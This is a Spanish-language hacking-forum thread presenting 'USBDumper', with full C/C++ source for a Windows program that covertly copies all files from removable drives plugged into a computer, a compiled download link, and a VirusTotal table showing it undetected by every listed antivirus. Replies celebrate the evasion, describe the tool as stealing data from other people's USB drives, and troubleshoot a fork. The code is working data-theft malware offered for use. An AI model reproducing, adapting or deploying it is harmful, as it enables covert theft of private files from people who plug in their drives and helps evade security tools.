Hola, en esta ocasión desarrolle un software que sirve para extraer de forma oculta todos los archivos de un USB, es decir, si vamos a algún lado y en nuestro pendrive llevamos este archivo lo que haremos es ejecutarlo y el resto de los pendrives conectado en el ordenador sus archivos se copiaran de forma oculta dentro de una nueva carpeta llamada USBDumper en donde lleves el archivo.
También funciona si alguien coloca un pendrive en tu ordenador, este copiara los archivos en una carpeta USBDumper donde este el archivo.
Dejo el código y su análisis FUD.
(http://telepics.net/uploads/pictures/big_images/Usb_Logo.jpg)
CitarCodigo del Ejecutable! [C/C++]
#include <windows.h>
#include <shlwapi.h>
bool __stdcall ListDirectory ( IN LPSTR lpszDirectory );
bool __stdcall CopyFiles ( IN LPSTR lpszDirectory, IN DWORD Attributes );
bool __stdcall ListDirectory ( IN LPSTR lpszDirectory )
{
WIN32_FIND_DATA find;
HANDLE Search;
char NewDirectory [ lstrlenA ( lpszDirectory ) + MAX_PATH ];
lstrcpyA ( NewDirectory, lpszDirectory );
lstrcatA ( NewDirectory, "*" );
Search = FindFirstFileA ( NewDirectory, &find );
if ( Search == 0L || Search == INVALID_HANDLE_VALUE )
{
FindClose ( Search );
return false;
}
while ( FindNextFileA ( Search, & find ) )
{
char CopyDirectory [ lstrlenA ( lpszDirectory ) + MAX_PATH + lstrlenA ( find.cFileName ) ];
lstrcpyA ( CopyDirectory, lpszDirectory );
lstrcatA ( CopyDirectory, find.cFileName );
if ( lstrcmpA ( find.cFileName, ".") != 0 && lstrcmpA ( find.cFileName, ".." ) != 0 && find.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY )
{
lstrcatA ( CopyDirectory, "\\" );
ListDirectory ( CopyDirectory );
}
CopyFiles ( CopyDirectory, find.dwFileAttributes );
}
FindClose ( Search );
return true;
}
bool __stdcall CopyFiles ( IN LPSTR lpszDirectory, IN DWORD Attributes )
{
LPSTR Name, PathComplete, Temp, Teme;
unsigned long len = 0, i = 0;
bool dirent = false;
if ( ! PathFileExistsA ( "USBDump" ) )
{
CreateDirectoryA ( "USBDump", 0L );
}
else
{
if ( GetFileAttributesA ( "USBDump" ) != FILE_ATTRIBUTE_DIRECTORY )
{
CreateDirectoryA ( "USBDump", 0L );
}
}
Name = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( MAX_PATH + 1 + lstrlenA ( lpszDirectory ) ) );
Teme = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( MAX_PATH + 1 + lstrlenA ( lpszDirectory ) ) );
if ( Attributes == FILE_ATTRIBUTE_DIRECTORY )
{
for ( i = lstrlenA ( lpszDirectory ); i > 0; i -- )
{
if ( lpszDirectory [ i ] == '.' && lpszDirectory [ i + 1 ] == '.' )
{
CopyMemory ( & Teme [ 0 ], & lpszDirectory [ 0 ], ( lstrlenA ( lpszDirectory ) - 3 ) );
dirent = true;
break;
}
}
}
if ( dirent )
{
for ( i = lstrlenA ( Teme ); i > 0; i -- )
{
if ( Teme [ i ] == '\\' )
{
CopyMemory ( & Name [ 0 ], & Teme [ i + 1 ], lstrlenA ( Teme ) - ( i - 1 ) );
GlobalFree ( Teme );
dirent = false;
break;
}
}
Temp = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( MAX_PATH + lstrlenA ( Name ) + 1 ) );
CopyMemory ( & Temp [ 0 ], & "USBDump\\", lstrlenA ( "USBDump" ) + 1 );
CopyMemory ( & Temp [ lstrlenA ( Temp ) ], & Name [ 0 ], lstrlenA ( Name ) );
CreateDirectoryA ( Temp, 0L );
GlobalFree ( Temp );
GlobalFree ( Teme );
GlobalFree ( Name );
GlobalFree ( PathComplete );
return true;
}
else
{
for ( i = 0; i < lstrlenA ( lpszDirectory ); i ++ )
{
if ( lpszDirectory [ i ] == '\\' )
{
CopyMemory ( & Name [ 0 ], & lpszDirectory [ i + 1 ], lstrlenA ( lpszDirectory ) - ( i ) );
dirent = false;
break;
}
}
}
if ( Attributes != FILE_ATTRIBUTE_DIRECTORY )
{
if ( ( Attributes == FILE_ATTRIBUTE_HIDDEN ) || ( Attributes == FILE_ATTRIBUTE_READONLY ) ||
( Attributes == FILE_ATTRIBUTE_SYSTEM ) )
{
SetFileAttributesA ( lpszDirectory, FILE_ATTRIBUTE_NORMAL );
}
}
PathComplete = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( MAX_PATH + lstrlenA ( Name ) + 1 ) );
CopyMemory ( & PathComplete [ 0 ], & "USBDump\\", lstrlenA ( "USBDump" ) + 1 );
//Name [ lstrlenA ( Name ) ] == '\\' ? len = lstrlenA ( Name ) - 1 : len = lstrlenA ( Name );
CopyMemory ( & PathComplete [ lstrlenA ( PathComplete ) ], & Name [ 0 ], lstrlenA ( Name ) );
CopyFileA ( lpszDirectory, PathComplete, false );
GlobalFree ( Name );
GlobalFree ( PathComplete );
GlobalFree ( Teme );
return true;
}
int __stdcall WinMain ( HINSTANCE hThisInstance, HINSTANCE hPrevInstance,
LPSTR lpszArgument, int nCmdFunstil )
{
LPSTR Drivers = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), 513 );
GetLogicalDriveStringsA ( 512, Drivers );
LPSTR Drive = Drivers;
while ( *Drive )
{
if ( GetDriveTypeA ( Drive ) == DRIVE_REMOVABLE )
{
ListDirectory ( Drive );
}
Drive += lstrlenA ( Drive ) + 1;
}
GlobalFree ( Drivers );
return EXIT_SUCCESS;
}
ANALISIS FUD
https://www.virustotal.com/es/file/eef13660626dee64d0e6cc89bb94eaaf22f93f27564b5d270b0759e279aac8bc/analysis/1440888287/ (https://www.virustotal.com/es/file/eef13660626dee64d0e6cc89bb94eaaf22f93f27564b5d270b0759e279aac8bc/analysis/1440888287/)
Antivirus Resultado Actualización
ALYac 20150805 Clean
AVG 20150805 Clean
AVware 20150805 Clean
Ad-Aware 20150805 Clean
AegisLab 20150805 Clean
Agnitum 20150804 Clean
AhnLab-V3 20150805 Clean
Alibaba 20150803 Clean
Antiy-AVL 20150805 Clean
Arcabit 20150805 Clean
Avast 20150805 Clean
Avira 20150805 Clean
Baidu-International 20150805 Clean
BitDefender 20150805 Clean
Bkav 20150805 Clean
ByteHero 20150805 Clean
CAT-QuickHeal 20150805 Clean
ClamAV 20150805 Clean
Comodo 20150805 Clean
Cyren 20150805 Clean
DrWeb 20150805 Clean
ESET-NOD32 20150805 Clean
Emsisoft 20150805 Clean
F-Prot 20150805 Clean
F-Secure 20150805 Clean
Fortinet 20150804 Clean
GData 20150805 Clean
Ikarus 20150805 Clean
Jiangmin 20150804 Clean
K7AntiVirus 20150805 Clean
K7GW 20150805 Clean
Kaspersky 20150805 Clean
Kingsoft 20150805 Clean
Malwarebytes 20150805 Clean
McAfee 20150805 Clean
McAfee-GW-Edition 20150805 Clean
MicroWorld-eScan 20150805 Clean
Microsoft 20150805 Clean
NANO-Antivirus 20150805 Clean
Panda 20150805 Clean
Qihoo-360 20150805 Clean
Rising 20150731 Clean
SUPERAntiSpyware 20150805 Clean
Sophos 20150805 Clean
Symantec 20150805 Clean
Tencent 20150805 Clean
TheHacker 20150805 Clean
TotalDefense 20150805 Clean
TrendMicro 20150805 Clean
TrendMicro-HouseCall 20150805Clean
VBA32 20150805 Clean
VIPRE 20150805 Clean
ViRobot 20150805 Clean
Zillya 20150805 Clean
Zoner 20150805 Clean
nProtect 20150805 Clean
Link de descarga:
https://mega.nz/#!q85VFS6C!7jRIJZUQMFs3HK_aMJ2wYd1acZjHuRiLukwRXiLnwbU (https://mega.nz/#!q85VFS6C!7jRIJZUQMFs3HK_aMJ2wYd1acZjHuRiLukwRXiLnwbU)
SIN-PASS
funciona perfectamente. avas.t no lo detecto
El antivirus no lo detecta, pero no funciona
Yo había hecho uno hace tiempo llamado RoboUSB programado en visual Basic Net. Lo cual hacia de detectar el usb y por medio de robocopy copiaba todo el contenido de la usb. Y si preguntan porque robocopy? ::) Pues el antivirus no detectara algo que ya viene con Windows ;D ;D
Lo probé con mi computadora. Pase el USBDumper a la pc y lo descomprí. Después introduje una memoria usb y ejecute el programa y solamente se copiaron a mi computadora los archivos que no estaban en la memoria usb dentro de una carpeta, los demas archivos no se copiaron ni las carpetas de la memoria usb que contenian información dentro. Lo probé en windows 7.
Gracias!
Son ustedes unos autenticos artistas, muchas gracias por sus enseñanzas
Para que sirve ese codigo que dejaste? Estoy apenas aprendiendo programacion, que hago con ese codigo, muchas gracias buen aporte
Roba datos de un USB que conectes a la pc
Saludos,
ANTRAX
Pero en que carpeta que guarda no hay direccion
@Harrysnoop (https://underc0de.org/foro/index.php?action=profile;u=109029)
Podrías probar:
UsbDumper: underc0de.org/foro/malware/usb-dumper-en-c-codigo-y-ejecutable
UsbDumper (fork para Gnu/Linux y Windows): underc0de.org/foro/malware/usb-dumper-2-0-extrae-los-archivos-de-los-dispositivos-victimas!
~ DtxdF
No tienes permitido ver los links.
Registrarse o Entrar a mi cuenta
@Harrysnoop (https://underc0de.org/foro/index.php?action=profile;u=109029)
Podrías probar:
UsbDumper: underc0de.org/foro/malware/usb-dumper-en-c-codigo-y-ejecutable
UsbDumper (fork para Gnu/Linux y Windows): underc0de.org/foro/malware/usb-dumper-2-0-extrae-los-archivos-de-los-dispositivos-victimas!
~ DtxdF
******* Si he ya he probado en windows el problema es este FUNCIONA pero no copia **************
C:\Users\Usuario\Desktop\xd\UsbDumper-master>UsbDumper.exe C:\Users\Usuario\Desktop\d
sale esto:
[!!] Esperando pendrive.
[!!] Esperando pendrive.
[!!] Esperando pendrive.
[!!] Esperando pendrive.
[!!] Esperando pendrive.
[!!] Pendrive encontrado.
luego esto :
C:\Users\Usuario\Desktop\xd\UsbDumper-master>
ES DECIR NO ME SALE LA TRANFERENCIA DE ARCHIVOS no copia, pero a simple vista todo bien pero cuando voy a la carpeta donde se supone que estan los archivo copiados no hay nada :
Nota : en el codigo claro solo detecta USB con la Unidad E: por eso mi primer Usb es D: Tenia que ingresar otro Usb E:/ y lo detecto pero no logra copiar , alguien sale el por que ? o tendria que modificar el codigo.
mi antivirus no lo detecta , que sad! jajaaja . muy buena
:o :o :o :o
es una maravilla que no fue detectado por ningun antivirus
:-X
orales, buena la herramienta, cada día aprende uno cosas nuevas.
@Harrysnoop
Citaro tendria que modificar el codigo.
Sí, como indica en el README, tienes que modificar el config.h para indicar las unidades o carpetas.
~ DtxdF